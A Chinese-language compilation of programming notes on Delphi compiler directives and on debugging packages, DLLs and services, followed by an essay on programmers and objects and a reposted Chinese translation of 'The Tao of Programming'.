The position of semicolons for hint directives can be quite confusing at first. The rule is that a hint directive must appear before the semicolon following the symbol it modifies. But a proce-dure, function, or unit header declaration can be followed only by reserved words, so its hint directive can appear following the semicolon. A type, variable, or constant declaration can be followed by another identifier, so the hint directive must come before the semicolon closing its declaration. Part of the rationale behind this is that the hint directives are not reserved words, so they can be used as the name of an identifier.

关于deprecated指示字

    《Mastering Delphi 6》中关于deprecated的这一段说明似乎有点古怪，文字很浅显，可是我看了三遍也没有完全搞清楚到底是在说什么。先记录在这里，以后再看好了。 The deprecated directive works in a similar way to the platform directive;the only real differences are that it is used in a different context and produces a different compiler warning.The role of deprecated is to mark dentifiers that are still part of the system for compatibility reasons,but either are going to be removed in the future or expose you to risks of incompatibility.This symbol is used sparingly in the Delphi library.

    Delphi 6中另外一个相当有用的关键字是$MESSAGE。你可以用它来提醒你程序中任何值得注意的地方，比如说下面的例子：

{$MESSAGE ‘这里尚未完成，记住下次要改完！’}

    当然，用To-do List也可以完成类似的工作，而且To-do List在功能上更完善一些；不过，$MESSAGE比 To-do List优越的一个地方是，编译器每次编译程序的时候都会提醒你，所以不容易忘记；相对而言，不是每个程序员都会去经常察看To-do List。

    $MESSAGE也类似于Visual C++中的#pragma message。不过，在Delphi 6的Message窗口双击该行信息，就能够跳到源文件中相应定义的地方，而这一点在Visual C++中却办不到。

后记：《Mastering Delphi 6》现在才看到第65页（总共1071页），也就是说，万里长征才走完第一步。这本书读到这个地方还是很好理解的（基本上不用动用金山词霸），但是后面的内容就要艰深一些了。应该老实承认我的英文水平还是很差，读原版书满辛苦的。想起蔡学镛老师说，他开始读外文资料的时候必须正襟危坐，手头必备电子辞典，读的多了，现在已经很随意地能够把外文资料当作小说来看，不论是坐着还是躺着，都不影响阅读。什么时候我才能达到这种境界呢？


条件断点

for i:=1 to n do

begin

..

x=i;//break here when x=100

..

end;

如果我希望当x=100时程序中断，如何做？

在该处设置断点，

然后在那个红点上点击右键，选择BreakPoint Properties...

在弹出的对话框中的Condition输入x=100 。


Delphi中如何调试包

以前，我曾读到一本讲开发DELPHI元件的好书，写的很精彩，让我受益颇多。不过其中谈到：由于没有办法在源程序基础上调试包中的元件，所以开发元件一定要特别认真仔细的写好元件的代码。的确，用DELPHI5单独打开一个*.DPK文件时，DELPHI的Run(F9)、Step Over(F8)、Track Into(F7)等Debug命令全部无效。自己再想想，DELPHI的IDE又与包文件有着非常密切的关系。在加载了包的IDE运行环境中要调试包本身，似乎有点像逻辑学上的自反悖论。后来，我就一直相信包是不能在源程序基础上调试的。

然而，包是可以直接在DELPHI5的IDE环境内调试原代码的！不但可以调试运行时刻的包(Runtime Package)，而且还可以调试设计时刻包(Designtime Package)！

在一次偶然中，我硬是强行将我的包加入到DELPHI的项目组(Project Group)中。这时，我惊奇地发现运行程序的工具按钮是有效的。当时，我真不敢相信自己的眼睛！特别是有那本权威书籍在我脑海中形成的根深蒂固的印象。

随后的实践证明，只要包文件处在一个项目组中，就可以象调试DLL项目一样调试它。只需要在运行参数(Run Paramenters)中设置相应的主应用程序(Host Application)，即可开始调试。当然，主应用程序一定要是按包编译(Build with runtime packages)的。

为什么会这样呢？

我想，DELPHI的一个项目文件编译之后最终都会形成一个可执行模块，要么是EXE文件，要么是DLL文件。其实，包编译后的BPL文件也是一个DLL文件，一个可执行模块。因此，DPK文件也相当于是一个项目文件。只是，用DELPHI5打开DPK文件时没有被当作项目打开。而在项目组中，DELPHI把每一个加入的项都当作项目来激活。要知道，一个典型的应用系统常常是由EXE、DLL和BPL共同组成。因此，包作为项目加入到项目组中也是合情合理的，DELPHI也因该是这样处理。

要调试一个单独的包，可以这样操作。首先，关闭DELPHI打开的所有项目，即用FileAll菜单命令。然后，用ViewManager菜单命令打开项目管理器。接着，在项目管理器中按鼠标右键，选择Add Existing Project命令。在弹出的打开文件窗口中，应该选择打开*.DPK的文件。找到你要调试的包文件之后，即可将包文件加入当前项目组中。这时，DELPHI的Run(F9)、Step Over(F8)、Track Into(F7)等Debug命令都是有效的。最后，只需要设置主应用程序(Host Application)，即可开始调试包。

如果要调试Designtime Package，或者要调试你开发的元件在IDE环境中的错误，该怎么办呢？很简单，只需要将Host Application设置为Delphi32.exe即可。当然Delphi32.exe的具体位置要看你安装DELPHI的具体目录，典型的是：C:Files\u30446目录。这样，你就可随心所欲地调试包在IDE环境下的行为了。不过，不要忘记一定要首先将你的包安装到IDE环境中，否则Delphi32.exe启动时并不会加载未安装的包。

在DELPHI 6中，DPK文件已经完全被当作项目来打开了。DELPHI理当如此处理，虽然太迟，但毕竟还是让我们高兴。迟到的春天阳光似乎更加灿烂......

------摘自《悟透DELPHI》并稍加改编。


如何在XP中调试DLL

在XP中，如果在DLL中下断点，Delphi不会中断下来，怎么回事儿呢？（恐怕又是M$的诡计，：））

解决方法：

Until up to Win2k, you had to set the HostApplication on Start=>Parameter to

debug a DLL. This will not work on Windows XP.

在Win2K中，你可以设置Run-->Parameter对话框中的HostApplication来调试DLL，但是在WinXP中，将不会正常工作！

That Delphi will know the DLL if you run the progam, you have to do the

following:

要让Delphi在运行程序的时候，知道你的DLL，你必须作如下的工作：

The program must load the DLL. After this, press Ctrl-Alt-M in Delphi, to list

all modules. Sometimes there will be the DLL with path.

首先，程序必须加载这个DLL，之后，请在Delphi中按Ctrl+Alt+M，这个时候会列出所有的模块，有一些模块回带有路径。

Solution:

解决方案：

Right click on the DLL, select "Reload symbols" and set the full path to the

DLL. Now the breakpoints should be active.

右击那个DLL，选择“Reload Symbols”，并且设置这个DLL的全路径，设置之后，你的断点应该有效了。

When the DLL will be compiled in the system path (directory in PATH) this

problem dont occur.

如果DLL编译的输出目录在系统路径(PATH环境变量的路径中)中，那么不会出现这个问题。


服务的调试
首先，使用参数/Install运行服务程序，此时服务安装到系统中，然后用服务管理器启动安装的服务，回到Delphi中，到菜单Run-->Attach Process中，Attach到服务的Exe程序即可。此时可以正常下断点等。


企业制造资源计划MRPII原理

点击下载


软件设计文档国家标准

点击下载


程序员和对象

一、程序员的计算机

    程序员的计算只由两样东西组成：CPU和存储器。

    存储器是一组集成电路，其中每个能保存一个数字的电路为一个单元，这些单元依次编号作为地址，就跟街上的房子的门牌号码一样。

    CPU是一块集成电路，它能自动从特定存储单元开始，顺序读取存储单元，并执行读入的数字所代表的算术以修改其它存单元。这些存储单元中特定的数字代表跳到读写某个地址的存储单元，这时CPU就不再是顺序存取存储单元了。

    程序员管存储器单元中代表CPU动作的数字叫指令，CPU执行指令时使用的数字就叫操作数，或者省事点叫数据。程序员把指令数字和代表操作数的数字组合成CPU认识的数字，程序员管这种数字叫机器码。操作数可能用其值直接组合进机器码，也可能用它所在的地址组合进机器码，这得看程序员的心情了。

    二、程序员的问题

    程序员要解决一个问题，就当玩一场数字游戏，搞清楚游戏的内容和规则后，约定好表示内容和规则的数字，把它们排列进存储器，交给CPU玩。

    三、程序员的程序

    程序员看着程序，他看见了一块存储空间。

    当程序员写程序时，存储空间通常以文本的形式存在，通常用宏观的指令和表示数据含义的符号写成，他管它叫源码空间。

    然后程序员把组织好的源码空间交给一种叫程序，他知道这种程序会把收到源码的每条命令分解成若干条机器指令，在“程序虚地址空间”按排每条指令和操作数的地址。他觉得这种程序就象一个翻译，把他的语言翻译成机器的语言，又象一个编织工人把数字这种零件按排拼装成一块虚存储器，所以给它取了个好听的名字：编译器。

    当程序员运行程序时，“程序虚地址空间”被另一种程序装进实在的存储块中，并将所有对虚地址的引用换算成实际的存储器地址。这种程序的名字当然是程序载入器了。

    程序员心情好的时候也会亲自动手编织数字来写程序，早的时候许多程序都是这样写出来的，其中显然有编译器这种程序。

    四、程序员的对象

    程序员似乎不擅长处理复杂而微妙的关系，于是纷纷开始琢磨搞对象。

    对象还是一段存储单元，其中若干个连续单元里的数字表示一项数据或宏观指令，程序员称之为对象成员。对象成员存储单元里的数字可能有指令、数据或地址，而地址所代表的存储单元里可能存放着指令、数据、对象或地址，程序员管它们叫方法成员、字段成员、对象聚合、引用。

    程序员最关心对象成员的个数、含义和排列顺序，只要知道这些，他就知道该那块存储单元的结构和用法，所以管这些信息叫接口。如果两个对象具有相同的接口，程序员就用同样的方式读写它们，所以管它们叫同类对象。

    同类对象的方法指令内容显然是一样的，如果在每个对象的存储块里复制一份显然很浪费，而有些同类对象的字段成员内容也是完全一样的。程序员也感到一次又一次的重复写这些对象很麻烦，就把这些同类对象中相同的部份组织到一块存储单元中，称之为类。然后申明在对象中只保留这块共享存储单元的地址以示它属于该类。

    有时候程序员会制造有很多个成员的对象来表示复杂的事物，比如一个已成家中年男中学教师对象，有表示其为人夫方面的成员，有表示其为人父方面的成员，有表示其为人师方面的成员，显然把某一方面相关的成员放到一起会自然，而程序员也很自然的认为这些成员是与对象这方面特性打交道的接口，更自然的认为取得了这一段连续成员的起点地址就得到该接口。

    有时存储单元大小结构不同的异类对象，在不同位置上会有一段连续的相同成员，并且这些成员代表对象某方便特征或行为能力，比如说青年女中学教师也具有为人师的接口。这时程序员就认为把两者的为人师接口地址取得之后就得到了两个同类对象：教师。

    五、对象程序员的编译器

    与普通编译器一样，源码中的类、对象及成员名字符号与虚程序地址空间的对应是由编译器完成的。

    但是对象程序员的编译器会做很多复杂的，以前要程序员自己处理的事情。

    编译器把源码空间的名字修改成内部名字，然后为内部名字分配所需要的存储单元，并根据引用源码空间名字的上下文决定实际引用的地址。对象程序员往往在对象源码中定义许多同样名字但参数不同的方法。

    对象程序员有时在对象源码中申明具有某些接口，然后用任意顺序编写其成员。编译器会重新按接口的要求组织成员的存储单元。

    编译器还会把类型信息存储块附加给对象，以便在运行时也可以使用源码空间的名字。

    六、对象程序员的虚拟机

    对象程序员看不见计算机，在他看来，有一台逻辑上的机器，完成了程序运行时他写的程序需要一切支持。

    虚拟机会为程序分配内存块，将程序里的数字复制到内存块中，将其中代表地址的数字修正为实际的存储单元编号，形成进程。

    进程内的对象通常直接使用对象接口的地址或名字进行通信。

    虚拟机能把同一块内存单元与不同进程的地址空间对应起来，进程间的对象可以使用这块内存单元进行通信。程序员称之为进程间通信IPC.

    必要时虚拟机能够为不同进程内的对象提供通信代理，对象把访问要求传给代理，代理找到响应对象并完成调用和结果回送。

    七、对象程序员的世界观

    一切都是对象，对象就是存储块。

    八、对象程序员的辩证法

    封装、继承和多态是抽象公共接口与实现多样行为的对立统一。

    通过内部名字、方法指针、虚方法表、基类成员拷贝等内存标记、操纵技巧实现这种对立统一。

    九、对象程序员的口胃

    甜。面象对象编程语言不过是些语法糖，如果能洞悉语法背后的内幕，那么吃起来就象酒心巧克力，如果迷惑于表面，那吃起来就象牛皮糖。

    十、对象程序的诞生

    面象对象编程诞生那天，面象对象程序员也就诞生了。

    对象程序，只是含义为指令和操作数的数字序列，两者没有形式差别，于是编程必须小心翼翼，不要混肴。

    从实践中，人们领悟到人为把指令和操作数分成不同的存储块是极为方便的，于是发明了运行时堆栈框架；为了减少重复节省存储器程序员们发明了子程序调用；为了解决复杂问题，程序员又发明了结构化编程和模块化。

    然而对于涉及大量数据、模块的复杂动态系统，即使是模块化开发也是极为麻烦的，即使小心翼翼也难于应付。

    于是人们醒悟：我们不关心程序的指令，那是静态的，暂时的，我们需要的是数据，那才是结果所在。

    于封装被发明了：把一组数据及操纵方法放到一起，视为逻辑整体，通过接口访问。

    新世界的大门打开了。


编程之道

自：左轻侯, 时间：2001-8-4 1:00:00, ID：594763 [显示：小字体 | 大字体]

很有趣的东东，我曾经很起劲地买了原书:-)

转载自linuxaid

《编程之道》---------------------------------------（转载）全文

    蓝森林 01-06-28 11：25 522p Geoffrey James

-------------------------------------------------------------

    声明：本文内容来自《编程之道》一书，小赵只负责录入。所有

版权归该书的出版社。本文由原来的三册书组成：《编程之道》《编

程之禅》《计算机时代的寓言》

    目录

    前言第一篇静寂的空宇第二篇古代的大师第三篇设计第四篇编码

第五篇维护第六篇管理第七篇公司里的学问第八篇硬件和软件第九篇

尾声

    第一篇静寂的空宇

    编程大师如是说：

    “当你有本事夺走我手中的这块水晶石时，就是你出师的时侯了。”

    1.1

    在静寂的空宇里，一种神奇的物质形成并诞生了。它立刻便静止

了，独自守侯着，豪无动静，然而又处于永恒的运动之中。它是所有

程序的源头，我不知道它的名字，所以我将称它为编程之道。

    如果此道是完美的，那些操作系统就是完美的，如果操作系统是

完美的，那么编译程序就是完美的，如果编译程序是完美的，那么应

用程序就是完美的。用户满意之至--和谐便应运而生。

    编程之道流逝远去，又乘着晨风而归。

    1.2

    此道产生了机器语言，机器语言又产生了汇编语言，

    汇编语言产生了编译程序，如今有了上万种的语言。

    每一种语言都有其各自的卑微用途。每一种语言都表达出软件的

阴和阳。每一种语言都在此道之中有其一席之地。

    但是，应尽量避免用COBOL 语言编写程序。

    1.3

    宇宙之初有道，道产生了空间和时间。空间和时间便是程序设计

之阴阳。

    不能领悟此道的编程者总是耗尽他们所要编写的程序的时间和空

间；而领悟了此道的编程者却总有足够的时间和空间来达到他们的目

标。

    除此之外，难道还有其它的情形吗？

    1.4

    精明的编程者听说了此道，并遵循它；平庸的编程者听说了此道，

并寻觅它；愚蠢的编程者听说了此道，却嘲笑它。

    要不是因为有嘲笑，道也就不复存在了。

    最高的声音最难被听见。前进也是一种倒退。大器晚成。即使是

一个完美的程序也仍然会有隐患。

    道深藏不露，难于理解。

    第二篇古代的大师

    编程大师如是说：

    “倘若三天不编程，生活将变得毫无意义。”

    2.1

    老一辈的程序员是神秘的、深奥的。我们没法揣摩他们的想法，

我们所能做的只是描述一下他们的表象。

    他们是清醒的，就像一只游过水面的狐狸；他们是警惕的，就像

一位战场上的将军；他们是友善的，就像一位招待客人的女主人；他

们是简单的，就像未经刻凿的木头；他们还是难以琢磨的，就像黑暗

的洞穴中漆黑的池水。

    谁能说出他们心中的秘密？

    答案只存在于道中。

    2.2

    计算机科学巨擘图灵曾经梦到他是一台机器。当他醒来时，他惊

叹道：

    “我不知道--我是梦到了自己是台机器的图灵，还是一台梦到

了自己是图灵的机器？”

    2.3

    一家大电脑公司的一名程序员参加了一次软件研讨会。他回来后

向经理汇报说：“为其它公司工作的那些程序员都是些什么的人啊？

他们行为拙劣，不顾及自己的仪表。他们的头发又长又乱，衣服又皱

又旧。他们闯进我们的会客组，还在我演讲时发生粗鲁的喧闹。”

    经理说：“我本不应该让你去参加这个会议。那些程序员是生活

在物质世界之外的。他们认为生活是荒唐的，一种意外的巧合。他们

来去自如。他们只为他们的程序而活着，无忧无虑地活着。为什么要

用社会习俗来约束他们呢？

    他们活在此道之中。“

    2.4

    一个礼堂者问大师：“有位程序员，从不构思、编写文档或测试

他的程序，然而所有知道他的人都认为他是世界上最棒的程序员。这

是为什么呢？”

    大师回答说：“那个人掌握了道。他不需要事先进行构思，当系

统崩溃时，他不会因此而闷闷不乐，而是心平气和地接受整个事实。

他还从编写程序说明文档的需要之中超脱了出来，不在意是否有人看

他的编码。他也不需要进行测试。他的每个程序都完美无缺。宁静而

优雅，程序的用途也显而易见。

    的的确确，他已经进入了道的神奇境界。“

    第三篇设计

    编程大师如是说：

    “当程序被测试时，再修改设计方案就太迟了。”

    3.1

    曾经有个人去参加一次电脑展示会，每天当他进入展馆时，都对

门卫说：

    “我是个大盗，我偷盗的本领是出了名的。事先警告你，这次展

示会也在劫难逃。”

    这番话让门卫坐立不安，因为里面有价值数百万美元的电脑设备，

所以他紧紧地盯住这个人。但这个人只是从一个展摊逛到另一个展摊，

嘴里轻轻地哼着小曲。

    当这个人出门时，门卫把他拉到一边，搜查他的衣服，但一无所

获。

    第二天，这个人又来了，并对着门卫嚣张地嚷着：“昨天我满载

而归，但今天的收获会更大。”于是，门卫盯他盯得更紧了，但仍一

无所获。

    在展示会的最后一天，门卫再也抑制不住自己的好奇心了。“大

盗先生，”门卫说，“我被你搞糊涂了，实在想不明白。请告诉我，

你究竟在偷什么？”

    这个人笑了。“我在偷想法。”他说。

    3.2

    曾经有位编程大师，喜欢编写非结构化的编程。一位初学者试图

模仿他，也开始编写非结构化的程序。当这位徒弟请师父评价他的进

展时，师父批评了他的做法。他说：“对一位编程高手适合的，对初

学者来说并不一定适合。在超越结构化之前，你必须先领悟道。”

    3.3

    曾经有位程序员被派到IBM 的军机大臣手下工作。军机大臣问程

序员：“设计一个财务软件包，和设计一个操作系统，哪一个更容易？”

    “操作系统。”程序员回答说。

    军机大臣立刻发生一种不信任的惊叹，“与一个复杂的操作系统，

一个财务软件包简直是小巫见大巫。”他说。

    “并非如此，”程序员说，“在设计一个财务软件包时，编程人

员是作为一个中介者在观念各异的人们之间起作用的：这个软件必须

如何操作，它的报表必须是什么形式，它必须如何与税法一致，等等，

一个操作系统则不为其外观所限制。当设计一个操作系统时，编程人

员只要在机器与人的思维之间寻找一种最简单的和谐就可以了。这就

是为什么操作系统更容易设计。”

    军机大臣点点头，笑了。“说来也是。但要想检测和纠正其中的

错误，哪个更容易呢？”

    程序员没有回答。

    3.4

    一位经理到编程大师那里，交给他一份有关一个新应用程序的需

求说明。经理问编程大师：“如果我分配五个程序员给你，你需要多

久能设计好这个系统？”

    “那将花费一年的时间。”大师立刻回答。

    “但我们马上就需要这个系统，甚至要求更快！如果我分配十个

程序员给你，你需要多长时间？”

    大师皱了皱眉头，“那样的话，需要两年。”

    “如果我分配一百个程序员给你怎么样？”

    大师耸了耸肩膀，“那么这项设计将永远无法完成。”他说

    第四篇编码

    编程大师如是说：

    “一个写得完美的程序是其自身的天堂，而一个写得糟糕的程序

则是其自身的地狱。”

    4.1

    一个程序应当是轻盈的、灵活的，它的子程序就像一串珍珠一样

连接着。它的精神和意图应该贯穿始终。在程序中，内容既不应太多，

也不应太少；既不应该有不需要的循环结构，也不该有冗余的变量；

既不缺乏结构性，又不过分僵化。

    一个程序，无论多么复杂，都应该以一个整体的方式运行。程序

应以其内在的逻辑为指引，而非外在形态。

    如果一个程序不能达到这些要求，它将处于一种杂乱无章的混淆

不清的状态。唯一的方法就是重写这个程序。

    4.2

    一位初学者问大师：“我有个程序，时灵时不灵。我一直都遵循

着编程的规则，结果却整个儿搞糊涂了。这是什么原因呢？”

    大师回答说：“因为你没有领悟道，所以你迷惑不解。只有傻瓜

才会指望从人类身上看到理性的行为，你又能指望一台人类制造的机

器怎么样呢？计算机模仿的是决定论，只有道才是尽善尽美。

    编程用的那些条条框框式的规则仅仅是昙花一现，只有道才是永

恒的。因此，在你受到道的启发之前，你必须沉思于道。“

    “但是我怎样才能知道我已经受到了启发了呢？”初学者问。

    “当你的程序运行无误时。”大师回答说。

    4.3

    一位大师正在向他的一名初学编程的弟子解释道的真谛。“此道

体现在所有的软件当中--不管它看上去多么无足轻重。”大师说着。

    “此道体现在手掌计算器中吗？”初学者问。

    “是的。”

    “此道在电子游戏中吗？”初学者继续问。

    “此道甚至也体现在电子游戏之中。”大师说。

    “那么此道也体现在个人电脑的DOS 系统之中吗？”

    大师咳嗽一声，并稍稍挪动了一下位置。“今天的课就到这里吧。”

他说。

    4.4

    一位项目经理手下的一名程序员正编写软件。他的手指在键盘上

飞舞着，在程序的编译过程中没有出现任何错误信息。程序运行起来

就像一阵和风。

    “太好了！”经理高兴地大叫了起来，“你的技艺简直是完美无

缺。”

    “技艺？”程序员说着便从他的终端机前转过身来，“我遵循的

是道--所有的技艺远不能及！当我刚开始编程时，我眼前看见的是

整个问题乱成一团。三年之后，我再也看不见这种一团糟的情形了。

相反，我用了各种各样的子程序。但现在，我什么也看不见了。我的

整个身心存在于一种无形的虚空里，我的知觉是空荡荡的。

    我的精神随其本能而动，不无原则计划就能自由地工作。总而言

之，是我的程序自己写出了自己。诚然，有时会有一些难题。我看见

那些难题向我走来，于是我放慢了速度，默默地注视着他们。然后我

更改了一行编码，那些问题就烟消云散了。然后我完成程序的编译。

我静静地坐着，让工作的欢心情舒畅遍布我的全身。我闭上双眼，歇

息片刻，然后退出系统。“

    经理说，“希望我的所有的程序员都这么聪明！”

    第五篇维护

    编程大师如是说：

    “即使一个程序只有三行长，总有一天它也不得不需要维护。”

    5.1

    一记扇经常开启的门的绞链不需要润滑油。

    一条湍急的河流不会变得污浊。

    无论是声音还是想法都不可能在真空中传播。

    软件如果不用就会腐朽。

    这世界真奇妙。

    5.2

    一个程序员正在编写他的程序，经理问他还需要多长时间完成。

    “明天就可以完成。”程序员立刻回答。

    “我想你这是不切实际，”经理说，“实话实说，这需要多长时

间？”

    程序员想了一会儿。“我还想加进一些新的特色，这需要花至少

两个星期的时间。”他最后说。

    “即使那样也期望过高，”经理坚持说，“只要你编完程序时告

诉我一声，我也就满足了。”

    程序员答应了。

    几年以后，那位经理要退休了。在他去退休午餐会的路上。他发

现那个程序员趴在他的终端机前睡着了。整个晚上都在忙于编写那个

程序。

    5.3

    一次一位初学编程者被指派编写一个简单的财务软件包。这位初

学者大张旗鼓地工作了许多天。但当他的师父检查这套程序时，发现

其中包含有一个屏幕编辑器，一套通用图表程序，一个人工智能界面，

然而却没有任何财务方面的东西。

    当师父问及此事时，初学者显得愤愤不平。“不要这样没有耐心

嘛，”他说，“我最后加些财务的素材进去就是了。”

    5.4

    难道一位好农民会漏掉他所种的一株庄稼吗？

    难道一位好老师会放弃哪怕是最差的学生吗？

    难道一位好父亲会允许哪一个孩子挨饿吗？

    难道一位好程序员会不愿维护他的程序吗？

    第六篇管理

    编程大师如是说：

    “让程序员多而经理少--然后生产效率就会高。”

    6.1

    当经理们没完没了地开会时，程序员就写些游戏玩；当财务主管

们谈到季度利润时，开发用的预算马上就要被削减；当资深科学家们

谈论蓝蓝的天空时，马上就会风起云涌。

    其实，这并不是编程之道。

    当经理们忠于职守时，游戏程序就会被搁置到一边；财务主管们

制订出长远的计划时，和谐秩序将很快恢复；当资深科学家们着手于

眼前的问题时，这些问题不久就会解决。

    其实，这才是编程之道。

    6.2

    为什么程序员没有效率？

    因为他们的时间浪费在开会上。

    为什么程序员很难管束？

    因为管理层多管闲事。

    为什么程序员接二连三地辞职？

    因为他们的热情已耗尽。

    在糟糕的管理之下工作，他们不再敬业。

    6.3

    一位经理即将被解职，但此时他手下的一名程序员发明了一个新

的程序。这个程序流行起来，并且极为畅销。结果，经理又回到了原

来的岗位上。

    经理试图要发给那位程序员一笔资金，但程序员拒绝了。他说：

“我写这个程序，因为我认为这是个很有意思的想法。我并不期望有

所回报。”

    经理听到这话，评论说：“这位程序员虽然身居卑位，却能很好

地理解一位雇员应尽的职责。让我们提拔他到管理顾问的高位上吧！”

    然而，接到通知后，那位程序员又一次拒绝了。他说：“我在属

于我的位置上，才能较好地编程。如果我被提升了，除了浪费每个人

的时间，我将一事无成。现在我可以走了吗？我还有一个程序要编呢。”

    6.4

    一位经理走过来对他的程序员们说：“关于你们的上班时间：你

们要早上九点钟到，下午五点钟下班。”听了这话，所有的程序员都

很气愤，其中有几位要当场辞职。

    于是，经理只好又说：“好吧，那样的话，你们可以自己安排上

班时间，只要你们能按时完成项目。”程序员们满意了。以后，他们

中午来到办公室，一起工作到凌晨。

    第七篇公司里的学问

    编程大师如是说：

    “你可以向一位公司总裁演示一个程序，但你无法使他学会使用

电脑。”

    7.1

    一位初学者问大师：“在东方（此处喻指美国的东海岸，有许多

大公司的总部--译注），有一个不寻常的树状结构，人们称它为‘

公司总部’。它的副总裁们和财务主管们的数量之大，使它鼓得不成

开关。它签发大师的便函，每份上都写着”归去“”来兮“，却没有

人知道那是什么意思。它的那些分支机构每年都要换新的名字，但都

毫无价值。如此一个不正常的实体怎么能继续存在呢？”

    大师回答说：“你探察这个庞大的邓因其没有合理的用途而心神

不定。难道你不能从它那无尽的回旋中得到乐趣吗？你不会享受一下

在它所蔽护的部分里的编程的那种无忧无虑的轻松吗？你为什么要因

为它毫无用处而心烦意乱呢？”

    7.2

    在东方，有一条大鱼，比其它所有的鱼都要大。它变成了一只鸟，

它的翅膀就像云朵一个布满了天空。当这只鸟飞过陆地时，它带来了

“公司总部”的消息，像蜻蜓点水一样把这个消息丢在了那些程序员

中间。然后这只鸟驾着风，背负蓝天，返回了家园。

    初学编程者惊奇地盯着那只鸟，因为他根本无法理解；平庸的程

序员畏惧那只鸟的到来，因为他害怕鸟儿带来的消息；而编程大师却

仍然在他的终端机前工作，因为他不知道那只鸟来了又去了。

    7.3

    象牙塔里的魔术师带来了他最新的发明，要让编程大师检验一下。

魔术师把一只大黑箱子推进办公室，大师静静地等侯着。

    “这是一台集成的、分布式的、通用的工作站，”魔术师开始，

“运用人类工程学原理，使用享有专利的操作系统、第六代评议和多

重状态用户界面而设计完成。建造这台工作站，花了我几百名助手几

年的时间。这不足以令人惊奇吗？”

    大师轻轻地扬了扬眉毛。“这的确令人惊奇。”他说。

    “公司总部已经命令，”魔术师继续说，“每个人都得使用这台

工作站作为操作平台来设计新的程序。你同意吗？”

    “当然同意，”大师说，“我马上就把它运到数据中心去。”于

是魔术师兴高采烈地回到了象牙塔去了。

    几天后，一位初学者走进大师的办公室问道：“我找不到我的新

程序清单了。你知道它会放在哪儿吗？”

    “知道，”大师回答说，“那些清单就堆放在数据中心的台子

（platform”可以指操作平台“，也可以指普通的台子--译注）上。”

    7.4

    编程大师从不惧怕在设计不同程序的岗位间调来调去；管理层的

变动不可能对他有所损害；他不会被解雇，即使项目取消了。这是为

什么呢？因为他胸有成“道”。

    第八篇硬件和软件

    编程大师如是说：

    “没有风，草儿静止不动；没有软件，硬件则无所为用。”

    8.1

    一位初学者问大师：“我觉察到有一家电脑公司比其它所有的公

司都要大得多。它在中遥遥领先，就如同鹤立鸡群一般。它的任意一

个部门都可以组成一个完整的企业。这是为什么呢？”

    大师回答说：“你怎么问这么愚蠢的问题呢？因为那家公司大，

所以它就大嘛。如果它仅仅生产硬件，没人愿买；如果它仅仅生产软

件，没人愿用；如果它仅仅维护一下系统，人们将把它当作是佣人。

然而，因为它把所有这些东西都结合了起来，它便摇身一变，被人们

看作是诸神之一。不费吹灰之力，它便能取胜。

    8.2

    一天，一位大师从初学编程者身边经过，他发现这位初学者正在

全神贯注于掌上电脑游戏。“对不起，”他说，“我可以看一下吗？”

    初学者立刻紧张起来，把那个玩意儿递给了大师。“我知道这种

设备提供了三个游戏级别：容易、中等和高难，”大师说，“然而每

个这样的设备都有另一个级别，在这一级，游戏机既不想赢人，也不

想被人打败。”

    “请问，尊敬的大师，”初学者恳求道，“怎样才能找到这个奇

妙的级别设置呢？”

    大师把那个玩意儿扔到地上，踩到粉碎。突然间，那个初学者明

白了什么。

    8.3

    曾经有一个程序员，擅长在微电脑上编程，“瞧，我在这里过得

多好呀，”他对另一位来访的程序员说，这位程序员是在大型主机上

工作的，“我有自己的操作系统和文件存储设备，我不必和其他任何

人分享我的资源。这里的软件自相一致，很容易使用。你为何不辞去

现在的工作，加入到我这里来呢？”

    于是，主机程序员开始向他的这位朋友描绘他的系统：“主机就

像一位陷入沉思的圣人一样，端坐在数据中心。它的磁盘器首尾声相

连，就如同机器的海洋。这里的软件既像钻石一样能多面反射光芒，

又像原始丛林一样复杂难测。这里的程序，各具特色，它们像湍急的

河流穿过系统。这就是我乐于此处的原因。

    微电脑程序员听到这里，陷入了沉默。但这两位程序员至死都保

持着友谊。

    8.4

    在去硅谷的路上，硬件碰上了软件。软件说：“你是阴，我是阳。

如果我们携手同路，我们将闻名于世，并能赚大笔的钱。”于是，这

一对阴和阳便一同往前走，想着怎么征服世界。

    不一会儿，他们遇到了固件（firmware，硬件和软件结合在一起

的部件，如IC卡--译注），他衣衫褴褛，手里拄着根带刺的拐杖，

蹒跚地走着。固件对他们说：“道存在于阴、阳之外。它默默无闻，

静如止水。它不追求名誉，所以没人知道它的存在；它不追求财富，

因其自身完整圆满。它存在于空间和时间之外。”

    软件和硬件，自觉惭愧，掉头回家去了。

    第九章尾声

    编程大师如是说：

    “现在该是你出师的时侯了。”

来自：左轻侯, 时间：2001-8-5 2:19:00, ID：595267

英文版在网上多如牛毛，在google用"tao of programming"一搜出来无数

比如这里：http://www.terrible.cx/tao/book/1

《编程之道》的出版在程序设计业内得到了普遍的接受，出版社邀请我翻译一些与

之相关的文章，以作为那部著名的经典之作的补充。虽然，我申明我的能力难以胜

任，但我最终还是被说服试一试。

本书是许多个月来研究和翻译的结果，它试图通过对那些传统著作的摘录，来馐一

个复杂的主题。我不怀疑，将会有许多计算机考古专家对我的摘录标准提出意见。

他们地问，“他为什么不把《UNIX程序员、大象和妓女》的寓言包括进来？”“他

竟敢忽视历史悠久的故事《图灵集市历险记》！”对于这些批评，我只能说，我已

经尽了我最大的努力来选择有代表性的内容。

为了确定文中各个章节的年代，我利用了朝代系统。对于那些不熟悉这套划分年代

的方法的人来说，可以按四个朝代（或者说“四代”）来划分。

第一个朝代，即所谓的“黄金时代”，要追溯到由玻璃管构建计算机的日子；许多

现代的学者断言，这个年代具有神话色彩。第二个朝代开始于晶体管的发明，而结

束于集成电路的再现。

现代计算机的历史，开始于第三个朝代，它由主机和控制主机的军机大臣所统治。

第四个朝代开始于对“集成教”的镇压，“集成教”对业已建立的秩序的反抗，被

狂热的“蓝色兵团”残酷地摧毁了。具有讽刺意义的是，正是这次镇压，导致编程

之禅扩散到了外部世界。

除了组成该书主体的古老的素材以外，我还有幸得到了Babbage博士和Yu博士的帮

助，他们分别为该书撰写了引言和序。我希望他们对该书的贡献能够或多或少地弥

补我作为编者的不才。

Geoffrey James

1988年1月于洛杉矶

目录

前言

序

引言

第一篇 木

第二篇 火

第三篇 土

第四篇 金

第五篇 水

根据古老的“五行学说”，本书由五部分　：

木 火 土 金 水

大师：忍者 行者 隐者 大力神 阿幸

媒体：编年史 民间故事说教 公案 俳句

硬件：键盘 显示器 CPU 打印机 磁盘

方向：东 南 中 西 北

软件：编辑程序格式化程序调试程序解释程序编译程序

感觉：触觉 视觉 嗅觉 听觉 味觉

阶段：界面 设计 编码 排错 测试

